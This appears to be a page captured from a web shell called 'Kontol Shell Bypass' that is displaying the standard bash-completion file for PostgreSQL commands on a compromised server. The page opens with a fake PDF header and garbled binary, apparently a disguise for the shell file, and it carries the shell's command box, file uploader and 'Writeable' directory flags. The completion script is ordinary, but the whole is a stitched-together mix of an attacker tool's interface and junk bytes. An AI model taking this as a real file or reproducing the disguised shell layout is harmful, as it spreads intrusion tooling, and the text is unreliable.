%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/bash-completion/completions/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/bash-completion/completions/psql
# bash completion for Postgresql                           -*- shell-script -*-

_pg_databases()
{
    # -w was introduced in 8.4, https://launchpad.net/bugs/164772
    # "Access privileges" in output may contain linefeeds, hence the NF > 1
    COMPREPLY=( $( compgen -W "$( psql -XAtqwlF $'\t' 2>/dev/null | \
        awk 'NF > 1 { print $1 }' )" -- "$cur" ) )
}

_pg_users()
{
    # -w was introduced in 8.4, https://launchpad.net/bugs/164772
    COMPREPLY=( $( compgen -W "$( psql -XAtqwc 'select usename from pg_user' \
        template1 2>/dev/null )" -- "$cur" ) )
    [[ ${#COMPREPLY[@]} -eq 0 ]] && COMPREPLY=( $( compgen -u -- "$cur" ) )
}

# createdb(1) completion
#
_createdb()
{
    local cur prev words cword split
    _init_completion -s || return

    case $prev in
        -h|--host)
            _known_hosts_real -- "$cur"
            return
            ;;
        -U|--username|-O|--owner)
            _pg_users
            return
            ;;
        -p|--port|-D|--tablespace|-E|--encoding|-T|--template)
            # argument required but no completions available
            return
            ;;
        --help|--version)
            # all other arguments are noop with these
            return
            ;;
    esac

    $split && return

    if [[ "$cur" == -* ]]; then
        COMPREPLY=( $( compgen -W '$( _parse_help "$1" )' -- "$cur" ) )
        [[ $COMPREPLY == *= ]] && compopt -o nospace
    else
        _pg_databases
    fi
} &&
complete -F _createdb createdb

# createuser(1) completion
#
_createuser()
{
    local cur prev words cword split
    _init_completion -s || return

    case $prev in
        --help|--version|-p|--port|-c|--connection-limit)
            return
            ;;
        -h|--host)
            _known_hosts_real -- "$cur"
            return
            ;;
        -U|--username)
            _pg_users
            return
            ;;
    esac

    $split && return

    if [[ "$cur" == -* ]]; then
        COMPREPLY=( $( compgen -W '$( _parse_help "$1" )' -- "$cur" ) )
        [[ $COMPREPLY == *= ]] && compopt -o nospace
    fi
} &&
complete -F _createuser createuser

# dropdb(1) completion
#
_dropdb()
{
    local cur prev words cword split
    _init_completion -s || return

    case $prev in
        -h|--host)
            _known_hosts_real -- "$cur"
            return
            ;;
        -U|--username)
            _pg_users
            return
            ;;
        --help|--version)
            # all other arguments are noop with these
            return
            ;;
    esac

    $split && return

    if [[ "$cur" == -* ]]; then
        COMPREPLY=( $( compgen -W '$( _parse_help "$1" )' -- "$cur" ) )
        [[ $COMPREPLY == *= ]] && compopt -o nospace
    else
        _pg_databases
    fi
} &&
complete -F _dropdb dropdb

# dropuser(1) completion
#
_dropuser()
{
    local cur prev words cword split
    _init_completion -s || return

    case $prev in
        --help|--version|-p|--port)
            return
            ;;
        -h|--host)
            _known_hosts_real -- "$cur"
            return
            ;;
        -U|--username)
            _pg_users
            return
            ;;
    esac

    $split && return

    if [[ "$cur" == -* ]]; then
        COMPREPLY=( $( compgen -W '$( _parse_help "$1" )' -- "$cur" ) )
        [[ $COMPREPLY == *= ]] && compopt -o nospace
    else
        _pg_users
    fi
} &&
complete -F _dropuser dropuser

# psql(1) completion
#
_psql()
{
    local cur prev words cword split
    _init_completion -s || return

    case $prev in
        -h|--host)
            _known_hosts_real -- "$cur"
            return
            ;;
        -U|--username)
            _pg_users
            return
            ;;
        -d|--dbname)
            _pg_databases
            return
            ;;
        -o|--output|-f|--file|-L|--log-file)
            _filedir
            return
            ;;
        -c|--command|-F|--field-separator|-p|--port|-P|--pset|\
        -R|--record-separator|-T|--table-attr|-v|--set|--variable)
            # argument required but no completions available
            return
            ;;
        -\?|--help|-V|--version)
            # all other arguments are noop with these
            return
            ;;
    esac

    $split && return

    if [[ "$cur" == -* ]]; then
        # return list of available options
        COMPREPLY=( $( compgen -W '$( _parse_help "$1" )' -- "$cur" ) )
        [[ $COMPREPLY == *= ]] && compopt -o nospace
    else
        # return list of available databases
        _pg_databases
    fi
} &&
complete -F _psql psql

# ex: filetype=sh

Kontol Shell Bypass